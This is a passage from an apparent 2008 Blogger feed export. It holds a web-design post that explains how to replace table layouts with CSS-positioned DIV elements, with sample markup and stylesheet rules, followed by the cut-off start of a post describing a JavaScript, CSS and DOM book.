the extent of replacing a Hyper-Text document's traditional table-based design structure.&lt;br /&gt;Quite aside from saving the web developer a substantial amount of coding time, this approach also cuts down the amount of code needed to display a web page properly to an absolute minimum. So much so that in the recent redesign of one of our web sites, the use of CSS controlled HTML cut the average document size from 24kb to less than 5kb.&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; The key to designing CSS controlled web pages, rests in the use of DIV Tags and DIV IDs.&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; &lt;strong&gt;For example, a traditional table structure would look something like this:&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;Please note that angle brackets have been replaced by square brackets to display the following code correctly.&lt;/em&gt;&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; [table width="800" align="center" cellpadding="0" cellspacing="0"]&lt;br /&gt;[tr]&lt;br /&gt;[td width="560" align="left" class="one"][h1]&lt;strong&gt;Example Text&lt;/strong&gt;[/h1][/td]&lt;br /&gt;[td width="240" align="left" class="two"] [img xsrc="images/exampleimage.jpg" width="200" height="100" alt="Example Image"][/td]&lt;br /&gt;[/tr]&lt;br /&gt;[/table]&lt;br /&gt;&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; &lt;strong&gt;With CSS control, exactly the same look and feel can be achieved by the following two DIV Tags:&lt;/strong&gt;&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; [div id="content"][h1]&lt;strong&gt;Example Text&lt;/strong&gt;[/h1][/div]&lt;br /&gt;[div id="image"][img xsrc="images/exampleimage.jpg" width="200" height="100" alt="Example Image"] [/div]&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; &lt;strong&gt;The DIV ID passes control of layout and appearance to the CSS, which handles it as follows:&lt;/strong&gt;&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; #content {&lt;br /&gt;     position:absolute;&lt;br /&gt;     width: 560px;&lt;br /&gt;     height: 100px;&lt;br /&gt;     ;top: 10px;&lt;br /&gt;    left: 100px;&lt;br /&gt;     font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;     font-size: 12px;&lt;br /&gt;     font-weight: normal;&lt;br /&gt;     color: #000000;&lt;br /&gt;     background-color: #FFFFFF;&lt;br /&gt;}&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; #image {&lt;br /&gt;    position:absolute;&lt;br /&gt;    width: 240px;&lt;br /&gt;    height: 100px;&lt;br /&gt;    top: 10px;&lt;br /&gt;   left: 660px;&lt;br /&gt;    font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;    font-size: 12px;&lt;br /&gt;    font-weight: normal;&lt;br /&gt;    color: #000000;&lt;br /&gt;    background-color: #FFFFFF;&lt;br /&gt;}&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; On the face of it, it may seem like this entails some extra work on the designer's part, but don't forget that at the same time as controlling the DIV Tag's position and appearance, the CSS also handles all text formatting, and that the above Style Sheet will only need to be written once in order to control an entire web site.&lt;br /&gt;Then of course there is the fact that the above example is an immensely simple one. Imagine for a moment, the sheer amount of code which is saved by using CSS over the course of writing an in-depth web page.&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; &lt;strong&gt;The end result is an HTML document which has been stripped of all unnecessary code and is consequently extremely '&lt;em&gt;light-weight&lt;/em&gt;' and easily indexed by search engines.&lt;/strong&gt;&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; Additionally, it is also possible to radically alter a page's appearance at the click of a button without ever changing any of its HTML code. This approach is very capably demonstrated at the &lt;a target="_blank" href="http://www.csszengarden.com/"&gt;CSS Zen Garden&lt;/a&gt;, where more information about the power of CSS controlled web design can be found.&lt;/p&gt; &lt;p style="font-family: verdana;"&gt; Furthermore, like HTML, CSS is undergoing constant revisions and will doubtlessly grow to play an even more important part in web design during years to come. Therefore, now may be a good time to further acquaint yourself with the full functionality of this essential web design element.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1644701393081725918?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1644701393081725918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1644701393081725918' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1644701393081725918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1644701393081725918'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/05/css-controlled-web-design-tables-are.html' title='CSS Controlled Web Design - Tables are for sitting at...'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6772495777514684694</id><published>2008-05-01T21:45:00.000-07:00</published><updated>2008-07-03T15:41:46.273-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>JavaScript + CSS + DOM Magic</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: verdana;"&gt;JavaScript + CSS + DOM Magic has directly applicable projects with step-by-step instructions showing you how to master a feature and adapt it according to their own needs and creativity. The wealth of graphics will make this book easy to read and visually appealing. This book makes JavaScript, CSS and DOM easy to understand by providing directly applicable models to readers' web sites. The book opens with a primer, giving context to the technologies, and then jumps into over 25 step-by-step, directly applicable projects. You will learn the most desired web functionalities, including: frames, mouse-overs, windows, forms, CGI, style sheets, dynamic positioning, and SSI. Reviewers have called this book an unprecedented practical and comprehensive DHTML guide. The CD contains complete working scripts, all images from the book's examples, bonus graphics, trial version of leading text editors (BBEdit Lite, Homesite).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: verdana;"&gt;Chapter 12: Transitional CSS and JavaScript Strategies&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;"In life, always do right. This will gratify some people and astonish the rest."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; —Mark Twain&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: verdana;"&gt;A Tabbed Interface&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Creating web sites that take advantage of the CSS and JavaScript capabilities of modern browsers, while still accommodating older browsers, i
